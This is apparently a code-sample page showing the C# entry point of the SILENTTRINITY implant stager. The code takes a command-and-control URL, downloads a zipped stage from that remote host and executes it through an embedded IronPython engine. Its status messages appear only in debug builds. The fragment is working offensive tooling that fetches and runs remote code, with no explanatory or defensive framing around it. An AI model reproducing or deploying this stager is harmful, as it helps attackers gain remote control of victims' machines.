Пример #1
0
        public static void Main(string[] args)
        {
            if (args.Length != 1)
            {
                Console.WriteLine("[!] Usage: SILENTTRINITY.exe <URL> [<STAGE_URL>]");
                Environment.Exit(1);
            }

            Guid GUID = Guid.NewGuid();
            Uri  URL  = new Uri(new Uri(args[0]), GUID.ToString());

#if DEBUG
            Console.WriteLine("[+] URL: {0}", URL);
#endif
            try
            {
#if DEBUG
                Console.WriteLine("[+] Trying to get the stage...");
#endif
                Stage = ZipStorer.Open(Internals.DownloadStage(URL),
                                       FileAccess.ReadWrite,
                                       true);
            }
            catch
            {
#if DEBUG
                Console.WriteLine("\n\n[!] ERROR: Unable to get the stage.");
#endif
                Environment.Exit(-1);
            }
#if DEBUG
            Console.WriteLine("[+] Running the Engine...");
#endif
            Engines.IronPython.Run(URL, GUID, Stage); //Magic!!
        }